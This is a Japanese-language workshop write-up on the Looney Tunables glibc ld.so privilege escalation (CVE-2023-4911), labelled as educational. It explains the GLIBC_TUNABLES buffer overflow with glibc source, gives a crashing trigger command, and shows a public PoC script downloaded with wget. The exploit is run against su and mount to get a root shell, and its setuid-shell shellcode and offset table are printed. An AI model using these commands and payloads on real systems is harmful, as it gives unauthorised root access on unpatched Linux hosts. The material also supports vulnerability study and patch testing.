Looney Tunables ローカル権限昇格 (CVE-2023-4911) ワークショップ (教育目的のみ)
コンピューティングにおけるダイナミック リンカーは、ライブラリの内容を永続ストレージから RAM にコピーし、ジャンプ テーブルを埋め、ポインターを再配置することにより、実行可能ファイルの実行時に必要な共有ライブラリをロードしてリンクするオペレーティング システムの一部です。
たとえば、openssl ライブラリを使用して md5 ハッシュを計算するプログラムがあります。
$ head md5_hash.c
#include <stdio.h>
#include <string.h>
#include <openssl/md5.h>
ld.so はバイナリを解析し、<openssl/md5.h> に関連するライブラリを見つけようとします。
$ ldd md5_hash
linux-vdso.so.1 (0x00007fffa530b000)
libcrypto.so.3 => /lib/x86_64-linux-gnu/libcrypto.so.3 (0x00007f19cda00000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f19cd81e000)
/lib64/ld-linux-x86-64.so.2 (0x00007f19ce032000)
ご覧のとおり、必要な暗号化ライブラリが/lib/x86_64-linux-gnu/libcrypto.so.3で見つかります。プログラムの起動中に、このライブラリのコードがプロセス RAM に配置され、すべての参照がこのライブラリにリンクされます。
プログラムが開始されると、このローダーはまずプログラムを調べて、必要な共有ライブラリを決定します。次に、これらのライブラリを検索してメモリにロードし、実行時に実行可能ファイルにリンクします。その過程で、ダイナミック ローダーは関数や変数の参照などのシンボル参照を解決し、プログラムの実行に向けてすべてが設定されていることを確認します。ダイナミック ローダーは、その役割を考慮すると、ローカル ユーザーが set-user-ID プログラムまたは set-group-ID プログラムを起動するときに、昇格された特権でコードが実行されるため、セキュリティに非常に敏感です。
調整可能機能は、アプリケーション作成者や配布管理者がワークロードに合わせてランタイム ライブラリの動作を変更できるようにする GNU C ライブラリの機能です。これらは、さまざまな方法で変更できる一連のスイッチとして実装されています。これを行う現在のデフォルトの方法は、GLIBC_TUNABLES 環境変数をコロンで区切られた name=value ペアの文字列に設定することによって行われます。たとえば、次の例では、malloc チェックを有効にし、malloc トリムしきい値を 128 バイトに設定します。
GLIBC_TUNABLES=glibc.malloc.trim_threshold=128:glibc.malloc.check=3
export GLIBC_TUNABLES
--list-tunables をダイナミック ローダーに渡して、すべての調整パラメータを最小値と最大値で出力します。
$ /lib64/ld-linux-x86-64.so.2 --list-tunables
glibc.rtld.nns: 0x4 (min: 0x1, max: 0x10)
glibc.elision.skip_lock_after_retries: 3 (min: 0, max: 2147483647)
glibc.malloc.trim_threshold: 0x0 (min: 0x0, max: 0xffffffffffffffff)
glibc.malloc.perturb: 0 (min: 0, max: 255)
glibc.cpu.x86_shared_cache_size: 0x100000 (min: 0x0, max: 0xffffffffffffffff)
glibc.pthread.rseq: 1 (min: 0, max: 1)
glibc.cpu.prefer_map_32bit_exec: 0 (min: 0, max: 1)
glibc.mem.tagging: 0 (min: 0, max: 255)
実行の最初に、ld.so は __tunables_init() を呼び出して環境内をウォークスルーし (279 行目)、GLIBC_TUNABLES 変数を検索します (282 行目)。見つかった GLIBC_TUNABLES ごとに、この変数のコピーを作成し (284 行目)、parse_tunables() を呼び出してこのコピーを処理およびサニタイズし (286 行目)、最後に元の GLIBC_TUNABLES をこのサニタイズされたコピーで置き換えます (288 行目)。 ):
// (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c)
269 void
270 __tunables_init ( char * * envp )
271 {
272 char * envname = NULL ;
273 char * envval = NULL ;
274 size_t len = 0 ;
275 char * * prev_envp = envp ;
...
279 while (( envp = get_next_env ( envp , & envname , & len , & envval ,
280 & prev_envp )) != NULL )
281 {
282 if ( tunable_is_name ( "GLIBC_TUNABLES" , envname )) // searching for GLIBC_TUNABLES variables
283 {
284 char * new_env = tunables_strdup ( envname );
285 if ( new_env != NULL )
286 parse_tunables ( new_env + len + 1 , envval ); //
287 /* Put in the updated envval. */
288 * prev_envp = new_env ;
289 continue ;
290 }
parse_tunables() の最初の引数 (tunestr) は、間もなくサニタイズされる GLIBC_TUNABLES のコピーを指し、2 番目の引数 (valstring) は、(スタック内の) 元の GLIBC_TUNABLES 環境変数を指します。 GLIBC_TUNABLES のコピー ( "tunable1= aaa:tunable2=bbb"
の形式である必要があります) をサニタイズするために、 parse_tunables() はすべての危険な調整パラメータ (SXID_ERASE 調整パラメータ) をtunestr から削除しますが、SXID_IGNORE および NONE 調整パラメータは保持します (行 221-) 235):
// (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c)
162 static void
163 parse_tunables ( char * tunestr , char * valstring )
164 {
...
168 char * p = tunestr ;
169 size_t off = 0 ;
170
171 while (true)
172 {
173 char * name = p ;
174 size_t len = 0 ;
175
176 /* First, find where the name ends. */
177 while ( p [ len ] != '=' && p [ len ] != ':' && p [ len ] != ' ' )
178 len ++ ;
179
180 /* If we reach the end of the string before getting a valid name-value
181 pair, bail out. */
182 if ( p [ len ] == ' ' )
183 {
184 if ( __libc_enable_secure )
185 tunestr [ off ] = ' ' ;
186 return ;
187 }
188
189 /* We did not find a valid name-value pair before encountering the
190 colon. */
191 if ( p [ len ] == ':' )
192 {
193 p += len + 1 ;
194 continue ;
195 }
196
197 p += len + 1 ;
198
199 /* Take the value from the valstring since we need to NULL terminate it. */
200 char * value = & valstring [ p - tunestr ];
201 len = 0 ;
202
203 while ( p [ len ] != ':' && p [ len ] != ' ' )
204 len ++ ;
205
206 /* Add the tunable if it exists. */
207 for ( size_t i = 0 ; i < sizeof ( tunable_list ) / sizeof ( tunable_t ); i ++ )
208 {
209 tunable_t * cur = & tunable_list [ i ];
210
211 if ( tunable_is_name ( cur -> name , name ))
212 {
...
219 if ( __libc_enable_secure )
220 {
221 if ( cur -> security_level != TUNABLE_SECLEVEL_SXID_ERASE )
222 {
223 if ( off > 0 )
224 tunestr [ off ++ ] = ':' ;
225
226 const char * n = cur -> name ;
227
228 while ( * n != ' ' )
229 tunestr [ off ++ ] = * n ++ ;
230
231 tunestr [ off ++ ] = '=' ;
232
233 for ( size_t j = 0 ; j < len ; j ++ )
234 tunestr [ off ++ ] = value [ j ];
235 }
236
237 if ( cur -> security_level != TUNABLE_SECLEVEL_NONE )
238 break ;
239 }
240
241 value [ len ] = ' ' ;
242 tunable_initialize ( cur , value );
243 break ;
244 }
245 }
246
247 if ( p [ len ] != ' ' )
248 p += len + 1 ;
249 }
250 }
残念ながら、GLIBC_TUNABLES 環境変数が「tunable1=tunable2=AAA」の形式である場合 (「tunable1」と「tunable2」は SXID_IGNORE 調整可能パラメータ、たとえば「glibc.malloc.mxfast」)、次のようになります。
parse_tunables() の「while (true)」の最初の反復中に、「tunable1=tunable2=AAA」全体がtunestr (行 221 ~ 235) にその場でコピーされ、tunestr が埋められます。
247 ~ 248 行目では、p はインクリメントされません (203 ~ 204 行目で「:」が見つからなかったため、p[len] は「 」です)、したがって、p は依然として「tunable1」の値、つまり「tunable2=」を指します。 AAA";
parse_tunables() の「while (true)」の 2 回目の反復中に、「tunable2=AAA」が (2 番目の調整可能パラメータであるかのように)tunestr (すでにいっぱいになっている) に追加されるため、tunestr がオーバーフローします。
指示:
$ env -i " GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A " " Z= ` printf ' %08192x ' 1 ` " /usr/bin/su --help
Segmentation fault (core dumped)
ペイロード:
GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A Z=000000000000000000000000000000000000000000000000000000000000000000000000000000000000<SNIP>00000000000000000001
長さ -> 8236バイト
この脆弱性は単純なバッファ オーバーフローですが、任意のコードを実行するには何を上書きすればよいでしょうか?オーバーフローしたバッファは、glibc の malloc() の代わりに ld.so の __minimal_malloc() を使用する strdup() の再実装である、tunables_strdup() によって行 284 で割り当てられます (実際、glibc の malloc() はまだ初期化されていません) )。この __minimal_malloc() 実装は単に mmap() を呼び出して、カーネルからより多くのメモリを取得します。
このコードを見てみましょう:
56 struct link_map *
57 _dl_new_object ( char * realname , const char * libname , int type ,
58 struct link_map * loader , int mode , Lmid_t nsid )
59 {
..
84 struct link_map * new ;
85 struct libname_list * newname ;
..
92 new = ( struct link_map * ) calloc ( sizeof ( * new ) + audit_space
93 + sizeof ( struct link_map * )
94 + sizeof ( * newname ) + libname_len , 1 );
95 if ( new == NULL )
96 return NULL ;
97
98 new -> l_real = new ;
99 new -> l_symbolic_searchlist . r_list = ( struct link_map * * ) (( char * ) ( new + 1 )
100 + audit_space );
101
102 new -> l_libname = newname
103 = ( struct libname_list * ) ( new -> l_symbolic_searchlist . r_list + 1 );
104 newname -> name = ( char * ) memcpy ( newname + 1 , libname , libname_len );
105 /* newname->next = NULL; We use calloc therefore not necessary. */
ld.so は、calloc() を使用してこの link_map 構造体にメモリを割り当てるため、そのさまざまなメンバーを明示的にゼロに初期化しません。これは合理的な最適化です。前述したように、ここでの calloc() は glibc の calloc() ではなく、ld.so の __minimal_calloc() であり、メモリを明示的に初期化せずに__minimal_malloc() を呼び出し、ゼロに返します。 __minimal_malloc() は常に mmap() で処理されたメモリのクリーンなチャンクを返し、カーネルによってゼロに初期化されることが保証されているため、これは合理的な最適化でもあります。
残念ながら、parse_tunables() のバッファ オーバーフローにより、クリーンな mmap() で処理されたメモリがゼロ以外のバイトで上書きされるため、間もなく割り当てられる link_map 構造体のポインタが NULL 以外の値で上書きされます。これにより、これらのポインタが NULL であると想定する ld.so のロジックを完全に打ち破ることができます。
link_map 構造体のさらに多くのポインターが明示的に NULL に初期化されていないことがわかりました。特に、ポインタの l_info[] 配列内の Elf64_Dyn 構造体へのポインタです。これらの中で、「ライブラリ検索パス」で
l_info[DT_RPATH]
すぐに際立ったものでした。このポインタを上書きして、それが指す場所と内容を制御すると、所有するディレクトリを ld.so に信頼させることができます。このディレクトリから独自の libc.so.6 または LD_PRELOAD ライブラリをロードし、任意のコードを実行します (SUID ルート プログラムを通じて ld.so を実行する場合は root として)。
上書きされた
l_info[DT_RPATH]
どこを指すべきでしょうか?この質問に対する簡単な答えは、「スタック」です。より正確には、スタック内の環境文字列です。 Linux では、スタックは 16GB 領域でランダム化され、環境文字列は最大 6MB (カーネルの bprm_stack_limits() の _STK_LIM / 4 * 3) を占める可能性があります。16GB / 6MB = 2730 回の試行後、推測できる可能性が高くなります。環境文字列のアドレス (エクスプロイトでは、l_info[DT_RPATH]
を常に次のように上書きします) 0x7ffdfffff010、ランダム化されたスタック領域の中心)。私たちのテストでは、この総当たり処理には Debian で最大 30 秒、Ubuntu と Fedora では最大 5 分かかりました (自動クラッシュ ハンドラーである Appport と ABRT のせいで、この速度低下を回避する試みはしていません)。
上書きされた l_info[DT_RPATH] は何を指すのでしょうか?私たちのエクスプロイトでは、6MB の環境文字列を 0xfffffffffffffff8 (-8) で埋めるだけです。これは、ほとんどの SUID ルート プログラムの文字列テーブルの下の -8B のオフセットに文字列 "x08" が表示されるためです。これにより、ld.so が強制されます。 「x08」という名前の相対ディレクトリ (現在の作業ディレクトリ内) を信頼するため、ここから独自の libc.so.6 または LD_PRELOAD ライブラリをロードして実行できます。ディレクトリに root としてアクセスします。
スキーム:
私は古い kali linux スナップショットを使用して PoC をテストしています。脆弱かどうかを確認してみましょう:
[~/cve]$ env -i " GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A " " Z= ` printf ' %08192x ' 1 ` " /usr/bin/su --help
[1] 7995 segmentation fault env -i " GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A " /usr/bin/s
SIGSEGV を取得したため、システムはこの CVE LPE に対して脆弱です。
PoC スクリプトをダウンロードしてテストしてみましょう。
[~/cve]$ wget -q https://haxx.in/files/gnu-acme.py
[~/cve]$ python3 gnu-acme.py
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <[email protected]> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6
[i] suid target = /usr/bin/su, suid_args = ['--help']
[i] ld.so = /lib64/ld-linux-x86-64.so.2
[i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3
[i] __libc_start_main = 0x27700
[i] using hax path b'x08' at offset -8
[i] wrote patched libc.so.6
error: no target info found for build id e664396d7c25533074698a0695127259dbbf56f3
したがって、ld.so ビルド ID はターゲットのリストにありません。修正しましょう。 ASLR を無効にする:
[~/cve]$ sudo bash -c " echo 0 > /proc/sys/kernel/randomize_va_space "
もう一度確認してください:
[~/cve]$ python3 gnu-acme.py
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <[email protected]> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6
[i] suid target = /usr/bin/su, suid_args = ['--help']
[i] ld.so = /lib64/ld-linux-x86-64.so.2
[i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3
[i] __libc_start_main = 0x27700
[i] using hax path b'x08' at offset -8
[i] wrote patched libc.so.6
[i] ASLR is not enabled, attempting to find usable offsets
[i] using stack addr 0x7fffffffe10c
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 561
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 562
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 563
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 564
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 565
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 566
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 567
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 568
そこで、POC スクリプトは有用なオフセットを見つけて、ld.so ビルド ID とオフセットをスクリプトに追加します。 ASLR を返します。
[~/cve]$ sudo bash -c " echo 1 > /proc/sys/kernel/randomize_va_space "
PoC スクリプトをもう一度試してみましょう。
[~/cve]$ python3 gnu-acme.py
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <[email protected]> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6
[i] suid target = /usr/bin/su, suid_args = ['--help']
[i] ld.so = /lib64/ld-linux-x86-64.so.2
[i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3
[i] __libc_start_main = 0x27700
[i] using hax path b'x08' at offset -8
[i] wrote patched libc.so.6
[i] using stack addr 0x7ffe1010100c
.........................................................................................................................................................................................................................................................................................................................................# ** ohh... looks like we got a shell? **
whoami
root
# id
uid=0(root)
それは動作します!
別の SUID ファイルでも動作します。
[~/cve]$ find /usr/bin/ -perm -u=s -type f 2> /dev/null
< SNIP >
/usr/bin/mount
< SNIP >
[~/cve]$ python3 gnu-acme.py /usr/bin/mount --help
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <[email protected]> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6
[i] suid target = /usr/bin/mount, suid_args = ['--help']
[i] ld.so = /lib64/ld-linux-x86-64.so.2
[i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3
[i] __libc_start_main = 0x27700
[i] using hax path b'x08' at offset -8
[i] wrote patched libc.so.6
[i] using stack addr 0x7ffe10101009
....................................................................................................................................................................................................................................................................................................................................................................................................................................# ** ohh... looks like we got a shell? **
id
uid=0(root)
PoC スクリプトの先頭には、いくつかのプロセッサ アーキテクチャを備えた辞書 ARCH があります (使用しているため、x86_64 のみを残しました)。この辞書には、
# This code is written by blasty <[email protected]>, I just commented it to figure it out
# ORIGINAL POC SCRIPT -> https://haxx.in/files/gnu-acme.py
import binascii
# <SNIP>
from shutil import which
unhex = lambda v : binascii . unhexlify ( v . replace ( " " , "" ))
ARCH = {
"x86_64" : {
"shellcode" : unhex (
"31ff6a69580f0531ff6a6a580f056a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05"
), # MODIFIED: context.arch = 'amd64'; asm(shellcraft.setuid(0) + shellcraft.setgid(0) + shellcraft.sh()).hex()
"exitcode" : unhex ( "6a665f6a3c580f05" ), # asm(shellcraft.exit(0x66)).hex()
"stack_top" : 0x800000000000 ,
"stack_aslr_bits" : 30 , # https://www.researchgate.net/figure/Comparative-summary-of-bits-of-entropy_tbl3_334618410
}
}
シェルコードの逆アセンブル
0 : 31 ff xor edi , edi
2 : 6a 69 push 0x69
4 : 58 pop rax
5 : 0f 05 syscall
7 : 31 ff xor edi , edi
9 : 6a 6a push 0x6a
b: 58 pop rax
c: 0f 05 syscall
e: 6a 68 push 0x68
10 : 48 b8 2f 62 69 6e 2f 2f 2f 73 movabs rax , 0x732f2f2f6e69622f
1a: 50 push rax
1b : 48 89 e7 mov rdi , rsp
1e: 68 72 69 01 01 push 0x1016972
23 : 81 34 24 01 01 01 01 xor DWORD PTR [ rsp ], 0x1010101
2a: 31 f6 xor esi , esi
2c: 56 push rsi
2d: 6a 08 push 0x8
2f: 5e pop rsi
30 : 48 01 e6 add rsi , rsp
33 : 56 push rsi
34 : 48 89 e6 mov rsi , rsp
37 : 31 d2 xor edx , edx
39 : 6a 3b push 0x3b
3b: 58 pop rax
3c: 0f 05 syscall
終了コードの逆アセンブル
0 : 6a 66 push 0x66
2 : 5f pop rdi
3 : 6a 3c push 0x3c
5 : 58 pop rax
6 : 0f 05 syscall
次に、ターゲット (ld.so ビルド ID) とそのバッファ オーバーフロー オフセットを含む辞書があります。
TARGETS = {
"e664396d7c25533074698a0695127259dbbf56f3" : 568
}
さらに、その機能に応じて名前が付けられた関数が多数あり、そのほとんどは pwntools ライブラリのメソッドで置き換えることができます。したがって、一部を除いて、それらについて詳しく議論することに意味はないと思います。